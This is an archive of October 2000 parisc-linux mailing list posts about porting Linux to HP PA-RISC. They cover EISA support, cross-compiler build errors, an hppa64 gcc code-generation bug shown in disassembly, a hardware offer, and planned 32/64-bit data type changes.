> I just thought I'd revive things by spitting out a few things on the grand
> to do list; I'm sure I'm missing things.  Please pipe up.

> 1. Fixing binutils
> There's problems with binutils and linking.  I can't tell you precisely
> what because I don't understnad it myself.  I know we need to resolve the
> ELF situation.  Ulrich, comments on this?
i'm not Ulrich but, Jeff Law said that current ld support is clearly
quick and dirty hack he did, which has to be wiped out, and
rewritten from scratch.
there are no "small bugs" in it, it's just wrong (:

> 2. Kernel stuff
> There's of course MMU and interrupt stuff, but we need the binutils sorted
> out first I suspect.
anything we can work out here, guys, i can help? (:

cu

-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for(E)ISA ?
Date: Tue, 24 Oct 2000 12:18:46 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <39F5B666.EDC5581F@storm.ca>
References: <39F5B4E6.E85B9357@deathsdoor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619209 4999 80.91.229.3 (22 Nov 2014 01:20:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:09 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: sandy@storm.ca  Tue Oct 24 10:19:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA19426
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 10:19:07 -0600
Original-Received: (qmail 22808 invoked by uid 15267); 24 Oct 2000 16:20:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22573 invoked from network); 24 Oct 2000 16:20:30 -0000
Original-Received: from storm.ca (HELO mail.storm.ca) (209.87.239.69)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 16:20:30 -0000
Original-Received: from storm.ca (ppp091.ottawa.storm.ca [209.87.255.91])
	by mail.storm.ca (8.9.3+Sun/8.9.3) with ESMTP id MAA00035
	for <parisc-linux@thepuffingroup.com>; Tue, 24 Oct 2000 12:20:02 -0400 (EDT)
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:8200

"M. Grabert" wrote:
> 
> hello there,
> 
> i wonder if there is support for the (E)ISA bus or if it is planned (for
> the near future/at all).

Good question. I'd like to use a 3Com 3c579 ethernet card in my 715.


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for(E)ISA ?
Date: Tue, 24 Oct 2000 14:18:07 -0400
Organization: The Puffins at Linuxcare
Lines: 18
Approved: news@gmane.org
Message-ID: <39F5D25F.DC7CA3DD@linuxcare.com>
References: <39F5B4E6.E85B9357@deathsdoor.com> <39F5B666.EDC5581F@storm.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619210 5001 80.91.229.3 (22 Nov 2014 01:20:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:10 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Sandy Harris <sandy@storm.ca>
Original-X-From: adevries@linuxcare.com  Tue Oct 24 12:10:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA20661
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 12:10:10 -0600
Original-Received: (qmail 29814 invoked by uid 15267); 24 Oct 2000 18:11:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29806 invoked from network); 24 Oct 2000 18:11:36 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 18:11:36 -0000
Original-Received: (qmail 30769 invoked from network); 24 Oct 2000 18:11:36 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 24 Oct 2000 18:11:36 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8201

Sandy Harris wrote:
> "M. Grabert" wrote:
> > hello there,
> > i wonder if there is support for the (E)ISA bus or if it is planned (for
> > the near future/at all).
> Good question. I'd like to use a 3Com 3c579 ethernet card in my 715.

For EISA to work, Linux needs WAX support, and I don't think there is
any yet because of a lack of documentation.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc build failing, missing pthread.h
Date: Tue, 24 Oct 2000 17:05:19 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <20001024230519.5FE1E38137@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619210 5005 80.91.229.3 (22 Nov 2014 01:20:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Tue Oct 24 17:02:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA22462
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 17:02:10 -0600
Original-Received: (qmail 12045 invoked by uid 15267); 24 Oct 2000 23:03:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12034 invoked from network); 24 Oct 2000 23:03:37 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 24 Oct 2000 23:03:37 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 90052E4
	for <parisc-linux@thepuffingroup.com>; Tue, 24 Oct 2000 19:03:29 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 5FE1E38137
	for <parisc-linux@thepuffingroup.com>; Tue, 24 Oct 2000 17:05:19 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:8202

In trying to build a Linux/X86 -> Linux/PARISC cross gcc with glibc support 
I'm running into the following error,

/home/al-76/puffin/xc-build/gcc/gcc/g++ -B/home/al-76/puffin/xc-build/gcc/gcc/ 
-nostdinc++ -isystem /home/al-76/puffin/palinux/gcc/libstdc++ -isystem 
/home/al-76/puffin/palinux/gcc/libstdc++/std -isystem 
/home/al-76/puffin/palinux/gcc/libstdc++/stl -isystem 
/home/al-76/puffin/palinux/gcc/libio -isystem /home/al-76/puffin/xc-build/gcc/h
ppa-linux/libio -L/home/al-76/puffin/xc-build/gcc/hppa-linux/libstdc++ 
-B/opt/palinux/hppa-linux/bin/ -B/opt/palinux/hppa-linux/lib/ -isystem 
/opt/palinux/hppa-linux/include -c -g -O2 -fvtable-thunks -D_GNU_SOURCE 
-fno-implicit-templates -I/home/al-76/puffin/palinux/gcc/libstdc++ 
-I/home/al-76/puffin/palinux/gcc/libstdc++/stl -I../libio 
-I/home/al-76/puffin/palinux/gcc/libstdc++/../libio -nostdinc++  
/home/al-76/puffin/palinux/gcc/libstdc++/stdexcepti.cc
In file included from /home/al-76/puffin/palinux/gcc/libstdc++/stl/alloc.h:21,
                 from /home/al-76/puffin/palinux/gcc/libstdc++/std/bastring.h:3
9,
                 from /home/al-76/puffin/palinux/gcc/libstdc++/string:6,
                 from /home/al-76/puffin/palinux/gcc/libstdc++/stdexcept:36,
                 from /home/al-76/puffin/palinux/gcc/libstdc++/stdexcepti.cc:8:
/home/al-76/puffin/palinux/gcc/libstdc++/stl/stl_alloc.h:71:24: pthread.h: No 
such file or directory
make[1]: *** [stdexcepti.o] Error 1
make[1]: Leaving directory `/home/al-76/puffin/xc-build/gcc/hppa-linux/libstdc+
+'

This is using the build-tools/palinux-autobuilder in CVS same as I always do. 
This is the first build I've done since October 16th. Since then David 
Huggins-Daines made a couple commits that may be related,

http://puffin.external.hp.com/mailing-lists/parisc-linux-cvs/2000/10-Oct/0167.h
tml
http://puffin.external.hp.com/mailing-lists/parisc-linux-cvs/2000/10-Oct/0166.h
tml

I have tried configuring gcc with and without --disable-threads and get the 
same result. Where should pthread.h be coming from and why isn't it working 
automagically?

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc build failing, missing pthread.h
Date: Wed, 25 Oct 2000 12:59:07 +1100 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010251251060.28194-100000@front.linuxcare.com.au>
References: <20001024230519.5FE1E38137@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619210 5009 80.91.229.3 (22 Nov 2014 01:20:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Oct 24 19:59:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA23629
	for <parisc-linux@puffin.external.hp.com>; Tue, 24 Oct 2000 19:59:29 -0600
Original-Received: (qmail 18318 invoked by uid 15267); 25 Oct 2000 02:01:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18305 invoked from network); 25 Oct 2000 02:00:59 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 25 Oct 2000 02:00:59 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA31555;
	Wed, 25 Oct 2000 12:59:07 +1100
In-Reply-To: <20001024230519.5FE1E38137@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8203

On Tue, 24 Oct 2000, Matt Taggart wrote:

> This is the first build I've done since October 16th. Since then David 
> Huggins-Daines made a couple commits that may be related,
> 
> http://puffin.external.hp.com/mailing-lists/parisc-linux-cvs/2000/10-Oct/0167.h
> tml

That's the one that caused your problem.
cvs diff -r1.2 -r1.3 libstdc++/stl/stl_config.h will show you why.

> I have tried configuring gcc with and without --disable-threads and get the 
> same result. Where should pthread.h be coming from and why isn't it working 
> automagically?

pthread.h comes from glibc/linuxthreads/sysdeps/pthread/pthread.h

The answer seems to be to configure and install glibc with
--enable-add-ons, like so

<src_path>/glibc/configure --host=hppa-linux --build=i686-linux\
  --prefix=<dest_path> --with-headers=<src_path>/linux/include\
  --disable-profile --without-cvs --enable-add-ons

Time to update the recipe...

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Butter, Frank" <Frank.Butter@otto.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp hardware
Date: Wed, 25 Oct 2000 14:50:54 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <4B6025B1ABF9D211B5860008C75D57CC0136A4E2@NTOVMAIL04>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416619211 5011 80.91.229.3 (22 Nov 2014 01:20:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Frank.Butter@otto.de  Wed Oct 25 07:55:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA05055
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 07:55:14 -0600
Original-Received: (qmail 24416 invoked by uid 15267); 25 Oct 2000 13:56:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24395 invoked from network); 25 Oct 2000 13:56:43 -0000
Original-Received: from unknown (HELO ntovmsw02.otto.de) (194.25.18.216)
  by mailserv2.iuinc.com with SMTP; 25 Oct 2000 13:56:43 -0000
Original-Received: from ntovwan02.ov.otto.de (unverified) by ntovmsw02.otto.de
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000453338@ntovmsw02.otto.de> for <parisc-linux@thepuffingroup.com>;
 Mi, 25 Okt 2000 14:51:21 +0200
Original-Received: by NTOVWAN02 with Internet Mail Service (5.5.2650.21)
	id <VTC7KGL3>; Wed, 25 Oct 2000 14:50:53 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8204


Hello,

I could offer some hp-hardware including transport costs 
(at least within germany...).
I don't have a complete list right now, but it 
includes stuff like a G-class server and so on. 
Anybody interested?

cya-
Frank


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa64-linux gcc bug
Date: Wed, 25 Oct 2000 12:51:03 -0700 (PDT)
Lines: 90
Approved: news@gmane.org
Message-ID: <200010251951.MAA21150@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619211 5014 80.91.229.3 (22 Nov 2014 01:20:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:11 +0000 (UTC)
Cc: opensource@cup.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Oct 25 13:44:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA07494
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 13:44:51 -0600
Original-Received: (qmail 1399 invoked by uid 15267); 25 Oct 2000 19:46:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1380 invoked from network); 25 Oct 2000 19:46:22 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 25 Oct 2000 19:46:22 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 4521D35C2
	for <parisc-linux@thepuffingroup.com>; Wed, 25 Oct 2000 12:46:21 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id MAA21150;
	Wed, 25 Oct 2000 12:51:03 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8205

Hi Folks,

We think we found a "heisenbug" which has been bothering us
for the past couple of weeks during hppa64-linux developement:
create_proc_entry() "works" when a printk() is added and otherwise
passes garbage as the "parent" argument when calling proc_register().

We need some help in fixing the compiler though.

We haven't had a chance to talk to linuxcare (toolchain support
for hppa*-linux provider) yet since Alan Modra is in .au.
Though this seems like a "generic" hppa bug to me, I doubt it's
in the currently published hppa2.0-hpux toolchain.

[ Note : hppa64-linux tool chain isn't fully merged up with the
  FSF developement trees and can be viewed at:
	http://puffin.external.hp.com/cgi-bin/cvsview/
  OR
	ftp puffin.external.hp.com:/pub/parisc/cvs/*-latest.tar.gz
]


Here's the IRC transcript from John Marvin (jsm@fc.hp.com):

<jsm> There is definitely at least one bug in the 64 bit compiler. The code it
  generates for create_proc_entry is garbage. That could be just one
  manifestation of the heisenbug. 
...
<jsm> If you guys want to attempt it, look at how "parent" is handled. It
  stores r24 at -30 off of the ap (ret1), if it has to call xlate_proc_name
  that is OK, but when it calls proc_register it is calling it with -30 off of
  the new ret1.
<jsm> i.e. the new ap which is -10 off of the new sp, not the original one.
<jsm> It actually does ldo -10(sp),ret1, then ldo -40(ret1),r19, then ldd
  10(r19),r26.
<jsm> but the effect is the same. I'll write it up when I get into work if you
  guys don't beat me to it.



Let me extract the generic.s output that jsm talks about above:
			
0000000000000000 <create_proc_entry>:
   0:   0f c2 12 c1     std  rp,-10(sr0,sp)
   4:   37 de 02 00     ldo 100(sp),sp		[ new_sp == orig_sp + 0x100 ]
...
  24:   73 b8 3f a1     std r24,-30(ret1)	[ "parent" input parm ]
...
  2c:   53 b3 3f a1     ldd -30(ret1),r19	[ if (!parent && ...) ]
  30:   9e 66 22 68     cmpb,*= r6,r19,16c <create_proc_entry+0x16c>
  34:   db 23 0b f0     extrd,u r25,63,16,r3
...
  94:   e8 00 a0 00     call 9c <create_proc_entry+0x9c>
                        94: R_PARISC_PCREL22F   memcpy
  98:   37 dd 3f e1     ldo -10(sp),ret1
...
  d8:   37 dd 3f e1     ldo -10(sp),ret1
  dc:   37 b3 3f 81     ldo -40(ret1),r19
  e0:   08 06 02 59     copy r6,r25
  e4:   e8 00 a0 00     call ec <create_proc_entry+0xec>
                        e4: R_PARISC_PCREL22F   proc_register
  e8:   52 7a 00 20     ldd 10(r19),r26

Recall "parent" input parm was stored at -0x30(orig_ret1).
And now we are effectively trying to reload from -0x40(new_sp).
That would be ok if orig_ret1 == -0x10(new_sp).
But it doesn't:  orig_ret1 == -0x100-0x10(new_sp)

So either "parent" is getting stored to the wrong relative stack
location or is getting reloaded from the wrong one.

Kudos to John - good catch!


The following is available via anon ftp from hpisp747:pub/heisenbug/
o generic.gcc: hppa64-linux-gcc command line to compile generic.c
o *.S are generic.gcc output w/-S added
o *.s files are "hppa64-linux-objdump -rD" output
o '*.prt.*' files have a printk() statement added to create_proc_entry()
  and proc_mkdir() to compare the code generation.


thanks,
grant


ps. Right now, I'm pretty sure I don't want to know why gcc
    doesn't just issue "ldo -100+0x30(sp),r26" instead of fooling
    around w/ret1 (arg ptr).


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux]
Date: Wed, 25 Oct 2000 14:00:42 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001025135117.00a4beb0@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619211 5016 80.91.229.3 (22 Nov 2014 01:20:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com
Original-X-From: kailasr@webcash.com  Wed Oct 25 15:05:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA08395
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 15:05:08 -0600
Original-Received: (qmail 20631 invoked by uid 15267); 25 Oct 2000 21:06:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20598 invoked from network); 25 Oct 2000 21:06:39 -0000
Original-Received: from mail.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 25 Oct 2000 21:06:39 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9PKwkG61726;
	Wed, 25 Oct 2000 13:58:46 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Xref: news.gmane.org gmane.linux.ports.parisc:8206

Hi,

I am building Linux for HP PA-RISC on Redhat linux. When I give " make 
LANGUAGES=c" for gcc I get the following error can any one help me. I need 
to install Linux on HP A class server. The server does not have a cdrom device.

  The error is as follows:


if [ -f stmp-dirs ]; then true; else touch stmp-dirs; fi
rm -rf ./libgcc.a
hppa-linux-ar  rc ./libgcc.a libgcc/./_muldi3.o libgcc/./_divdi3.o 
libgcc/./_moddi3.o libgcc/./_udivdi3.o libgcc/./_umoddi3.o 
libgcc/./_negdi2.o libgcc/./_lshrdi3.o libgcc/./_ashldi3.o 
libgcc/./_ashrdi3.o libgcc/./_ffsdi2.o libgcc/./_udiv_w_sdiv.o 
libgcc/./_udivmoddi4.o libgcc/./_cmpdi2.o libgcc/./_ucmpdi2.o 
libgcc/./_floatdidf.o libgcc/./_floatdisf.o libgcc/./_fixunsdfsi.o 
libgcc/./_fixunssfsi.o libgcc/./_fixunsdfdi.o libgcc/./_fixdfdi.o 
libgcc/./_fixunssfdi.o libgcc/./_fixsfdi.o libgcc/./_fixxfdi.o 
libgcc/./_fixunsxfdi.o libgcc/./_floatdixf.o libgcc/./_fixunsxfsi.o 
libgcc/./_fixtfdi.o libgcc/./_fixunstfdi.o libgcc/./_floatditf.o 
libgcc/./__gcc_bcmp.o libgcc/./_varargs.o libgcc/./__dummy.o 
libgcc/./_eprintf.o libgcc/./_bb.o libgcc/./_shtab.o 
libgcc/./_clear_cache.o libgcc/./_trampoline.o libgcc/./__main.o 
libgcc/./_exit.o libgcc/./_ctors.o libgcc/./_pure.o libgcc/./_eh.o 
libgcc/./frame-dwarf2.o libgcc/./_divI.o libgcc/./_divU.o libgcc/./_remI.o 
libgcc/./_remU.o libgcc/./_multiply.o libgcc/./_divI_15.o 
libgcc/./_divI_14.o libgcc/./_divI_12.o libgcc/./_divI_10.o 
libgcc/./_divI_9.o libgcc/./_divI_7.o libgcc/./_divI_6.o libgcc/./_divI_5.o 
libgcc/./_divI_3.o libgcc/./_divU_15.o libgcc/./_divU_14.o 
libgcc/./_divU_12.o libgcc/./_divU_10.o libgcc/./_divU_9.o 
libgcc/./_divU_7.o libgcc/./_divU_6.o libgcc/./_divU_5.o libgcc/./_divU_3.o 
libgcc/./_dyncall.o
make[2]: hppa-linux-ar: Command not found
make[2]: *** [libgcc.a] Error 127
make[2]: Leaving directory `/opt/hp/build/gcc/gcc'
make[1]: *** [libgcc.a] Error 2
make[1]: Leaving directory `/opt/hp/build/gcc/gcc'
make: *** [all-gcc] Error 2


From - Thu Nov 08 21:13:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux]
Date: Wed, 25 Oct 2000 22:48:40 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20001025224840.B21190@parcelfarce.linux.theplanet.co.uk>
References: <5.0.0.25.0.20001025135117.00a4beb0@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619212 5019 80.91.229.3 (22 Nov 2014 01:20:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:12 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: willy@www.linux.org.uk  Wed Oct 25 16:00:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09510
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 16:00:43 -0600
Original-Received: (qmail 29015 invoked by uid 15267); 25 Oct 2000 22:02:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29006 invoked from network); 25 Oct 2000 22:02:12 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 25 Oct 2000 22:02:12 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13oYPY-0005fb-00; Wed, 25 Oct 2000 22:48:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <5.0.0.25.0.20001025135117.00a4beb0@mail.webcash.com>; from kailasr@webcash.com on Wed, Oct 25, 2000 at 02:00:42PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8207

On Wed, Oct 25, 2000 at 02:00:42PM -0700, Kailashnath V Rampure wrote:
> Hi,
> 
> I am building Linux for HP PA-RISC on Redhat linux. When I give " make 
> LANGUAGES=c" for gcc I get the following error can any one help me. I need 
> to install Linux on HP A class server. The server does not have a cdrom device.
> make[2]: hppa-linux-ar: Command not found

you either haven't built and installed binutils, or it isn't in your PATH.
Are you trying to follow the recipe?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64/32-bit changes coming
Date: Wed, 25 Oct 2000 16:22:02 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <200010252222.QAA10091@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619212 5030 80.91.229.3 (22 Nov 2014 01:20:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@puffin.external.hp.com  Wed Oct 25 16:22:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA10096
	for <parisc-linux@puffin.external.hp.com>; Wed, 25 Oct 2000 16:22:09 -0600
Original-Received: (qmail 22579 invoked by uid 15267); 25 Oct 2000 22:23:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22564 invoked from network); 25 Oct 2000 22:23:37 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 25 Oct 2000 22:23:37 -0000
Original-Received: from puffin (IDENT:bame@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA10091
	for <parisc-linux@thepuffingroup.com>; Wed, 25 Oct 2000 16:22:02 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:8208


I'm about to make a bunch of changes in order to support 32-bit user space
(e.g., what we have now) on wide kernels, and wanted to let people know
what's happening.  My goal is to preserve all the current working 32-bit
userland and kernel code.

In round 1 I'm mostly changing data types which are shared by user space
and kernels which use some form of 'long' to use 'int' instead, since
'int' is the same size in both narrow and wide worlds but 'long' isn't.
(It's obvious that 'long' was used many places to mean 32-bit int, which
is untrue in wide mode) Even though these structs are used by glibc, they
glibc and user apps will be unaffected because the data type sizes aren't
changing.

I probably won't tackle the signal-related data types at first.  It's
possible that it will be desirable to make an incompatible change to
libc for signals but I won't do that without discussion.

